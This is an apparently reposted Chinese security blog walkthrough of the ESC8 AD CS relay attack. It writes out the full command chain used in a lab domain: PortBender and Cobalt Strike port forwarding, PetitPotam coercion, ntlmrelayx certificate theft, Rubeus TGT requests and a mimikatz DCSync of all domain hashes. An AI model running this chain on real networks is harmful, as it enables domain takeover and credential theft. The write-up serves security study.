ESC8(ADCS Relay)

admin 2022年3月23日16:05:07评论5 views字数 3659阅读12分11秒阅读模式
STATEMENT

声明

由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,雷神众测及文章作者不为此承担任何责任。

雷神众测拥有对此文章的修改和解释权。如欲转载或传播此文章,必须保证此文章的完整性,包括版权声明等全部内容。未经雷神众测允许,不得任意修改或者增减此文章内容,不得以任何方式将其用于商业目的。

前言

ADCS (Active Directory Certificate Services 活动目录证书服务)的HTTP证书接口(certsrv/certfnsh.asp)未启用NTLM中继保护,且在HTTP请求的时候Authorization HTTP头明确允许通过NTLM进行身份验证。

ESC8(ADCS Relay)
因此可配合 PetitPotam,强制域控机器用户(DC$)向该接口(certsrv/certfnsh.asp)发送 NTLM 身份认证,从而获取到一个为域控机器用户(DC$)生成的证书,使用 DC$ 的证书请求其 Kerberos TGT(AS_REQ),然后 DCSync。后续可考虑利用 krbtgt 帐户的哈希值创建金票等利用手法。
尽管 ADCS 并不是默认安装,但在大型企业域中通常被广泛部署。本文讲述在实战域环境中 ADCS 中继的打法。

大致思路

在 PrintNightmare 漏洞被爆出来之后,有一些企业内网会选择关闭Spooler服务,使得Printerbug失效。PetitPotam 可以指定域内的一台服务器对攻击者选择的目标进行身份验证。而且在低版本(2016以下)的情况下,可以匿名触发。(2016以上的域控需要指定域内的用户及密码触发)。

结合 PetitPotam 与 ESC8,获取为域控机器用户(DC$)生成的证书,使用 DC$ 的证书请求其 Kerberos TGT(AS_REQ),DCSync.

ESC8(ADCS Relay)

实战中的打法

实战中,中继攻击可能会存在几个问题,比如:
1.目标是 Windows,而在 Windows 上 445 端口是占用的,所以不能直接嗅探该端口传入的流量。
2.大部分情况下,目标 Windows 主机上都是没有一些语言环境的,Impacket工具包无法运行,现装环境的操作太麻烦、遇到的问题太多。
因此,在实战中,可以考虑:使用端口流量的重定向、端口转发、代理来实现攻击操作。

本次实验思路

ESC8(ADCS Relay)
本次实验使用PortBender工具进行端口流量的重定向。https://github.com/praetorian-inc/PortBender
1.使用 PortBender 将 Win2k8 上面的 445 端口流量重定向到 8445 端口。
2.开启端口转发,将 Win2k8 的 8445 端口流量全部转发到 kali(TeamServer)的 445 端口。
3.攻击者通过 socks5 代理利用 PetitPotam 强制域控向中继机发起机器用户(DC$) NTLM 身份认证。
4.域控发送 DC$ NTLM 身份认证 到中继机。
5.中继机器利用 DC$ NTLM 的身份认证 向 ADCS 申请为 DC$ 颁发证书。
6.ADCS 认证通过,为 DC$ 颁发证书。
7.使用 DC$ 的证书请求其 Kerberos TGT(AS_REQ)。
8.域控返回 TGT。
9.利用 DC$ 的 TGT 进行 DCSync。
10.利用 krbtgt NTLM hash 创建金票等。

具体利用

1. 上传WinDivert32.sys/WinDivert64.sys

拿到目标的 Beacon 后,根据目标版本上传 WinDivert32.sys 或 WinDivert64.sys。

ESC8(ADCS Relay)
ESC8(ADCS Relay)
2. 端口流量重定向
使用 PortBender 将 Win2k8 的 445 端口流量全部转发到 Win2k8 的 8445 端口。
注意:PortBender 执行需要管理权限,且需在 WinDivert64.sys 同一目录下执行

PortBender redirect 445 8445

ESC8(ADCS Relay)
ESC8(ADCS Relay)
3. 开启端口转发

利用 rportfwd 命令来将 Win2k8 的 8445 端口流量全部转发到 kali(TeamServer)的445端口。

rportfwd [绑定端口] [转发主机] [转发端口]
rportfwd 绑定目标主机上的指定端口(如:8445端口),当此端口(8445端口)有流量连接进来时,Cobalt Strike 将连接到转发的主机/端口(kali:445端口),并使用 Beacon 在两个连接之间中继流量。
此时 Win2k8 445 端口的流量通过重定向,发送给 Win2k8 的 8445 端口,由于端口转发,Win2k8 的 8445 端口流量全部转发到 kali 的 445 端口上。
注:转发到攻击者的 445 端口不能改变,只能为 445(因为 ntlmrelayx.py 监听 445 端口)

rportfwd 8445 192.168.124.3 445
ESC8(ADCS Relay)
4. 设置 NTLM 中继监听

使用 ntlmrelayx.py 在 kali 上开启 445 端口设置中继监听,以便后续将 DC$ 传来的身份认证(域控机器用户的身份认证)转发到 ADCS 上。或者更具体地说,转发到 ADCS 的 HTTP 接口

http://192.168.1.6/certsrv/certfnsh.asp 以进行证书申请。(因为实战情况下,vps 不通 ADCS ,所以使用 proxychains4 代理来转发至 ADCS)。

proxychains4 ntlmrelayx.py -t http://192.168.1.6/certsrv/certfnsh.asp -smb2support --adcs --template DomainController

-t 将凭据中继到的目标,可以是 IP、主机名或 URL

-smb2support 支持 SMB2
--adcs 启用 AD CS 中继攻击
--template TEMPLATE AD CS 模板。默认为机器或用户, 中继域控应该指定为 "DomainController"

ESC8(ADCS Relay)
ESC8(ADCS Relay)
5. 强制 DC$ 对 NTLM 中继机器进行身份验证

使用代理利用 PetitPotm 向域控发送流量,强制 DC (192.168.1.2) 向 Win2k8 (192.168.1.3) 的445端口发起身份认证,当 Win2k8 的 445 端口收到身份认证的流量之后,将会将流量全部重定向到 Win2k8 的 8445 端口,再通过之前开启的端口转发,最终将 Win2k8 的 8445 端口流量全部转发到开启中继监听的 kali (10.11.35.215) 的445端口。

proxychains4 python3 PetitPotam.py 192.168.1.3 192.168.1.2
ESC8(ADCS Relay)
ESC8(ADCS Relay)
6. 流量分析
6.1. 来看 Win2k8 的流量包:
强制 DC (192.168.1.2)向中继机器 Win2k8(192.168.1.3) 发起身份认证。

ESC8(ADCS Relay)
6.2. 先来看正常的 ntlm 认证数据包:
192.168.1.2:49342 ---> 192.168.1.6:445 发起认证

ESC8(ADCS Relay)
ESC8(ADCS Relay)
6.3. 再来看 kali 中继的认证数据包:
10.11.34.215:42398 ---> 10.11.35.215:445

ESC8(ADCS Relay)
能够发现 ip.src 和 ip.dst 都是 kali(TeamServer)10.11.35.215 的自身ip,这是因为 rportfwd 命令造成的。
当 Win2k8 的 8445 端口有流量连接进来时,Cobalt Strike 将连接到转发的 kali 的 445端口,通过 Beacon 在两个连接之间中继流量。

ESC8(ADCS Relay)
7. 成功获取到证书信息

ESC8(ADCS Relay)
来看一下攻击过程

ESC8(ADCS Relay)
1.kali 作为中继者,将 DC$ NTLM 凭据转发到 ADCS (http://192.168.1.6/certsrv/certfnsh.asp) 发起认证。
2.HTTP服务器返回200,视为成功登录。
3.使用DC$ NTLM身份认证验证 http://192.168.1.6 成功。
4.生成 CSR(Certificate Signing Request 证书签名请求)。
5.获取证书。
6.获得 DC$ (域控机器用户)的Base64证书(证书默认有效期为一年)。
如下为ADCS 为 DC机器用户 颁发的证书:

ESC8(ADCS Relay)
8. 请求 TGT

拿到域控机器用户(DC$) 的证书之后,我们现在可以使用 Rubeus 为 DC$ 机器用户请求 Kerberos TGT(AS_REQ)。
使用 runas /netonly /user:ligang cmd 来创建一个新的 cmd 登陆会话,向其中注入 DC$ TGT 以防止弄乱现有登录会话的 TGT。

Rubeus.exe asktgt /user:dc$ /certificate:"MIIRZQIBAzCCES8GCSqGSIb3He39M=" /ptt

这里的 user 为域控机器用户(DC的机器名$)。

ESC8(ADCS Relay)
ESC8(ADCS Relay)
ESC8(ADCS Relay)
9. 执行 DCSync

mimikatz.exe "lsadump::dcsync /domain:missyou.com /all /csv" exit
ESC8(ADCS Relay)
10. 结束流量重定向与端口转发

要停止 PortBender,使用 jobs 命令列出正在运行的作业,这将列出作业 ID (JID) 和关联的 PID。
使用 jobkill停止作业,然后再使用 kill关闭生成的进程。
使用 rportfwd stop 8445 关闭端口转发。

ESC8(ADCS Relay)
ESC8(ADCS Relay)
 

原文始发于微信公众号(雷神众测):ESC8(ADCS Relay)

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年3月23日16:05:07
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   ESC8(ADCS Relay)https://cn-sec.com/archives/838081.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息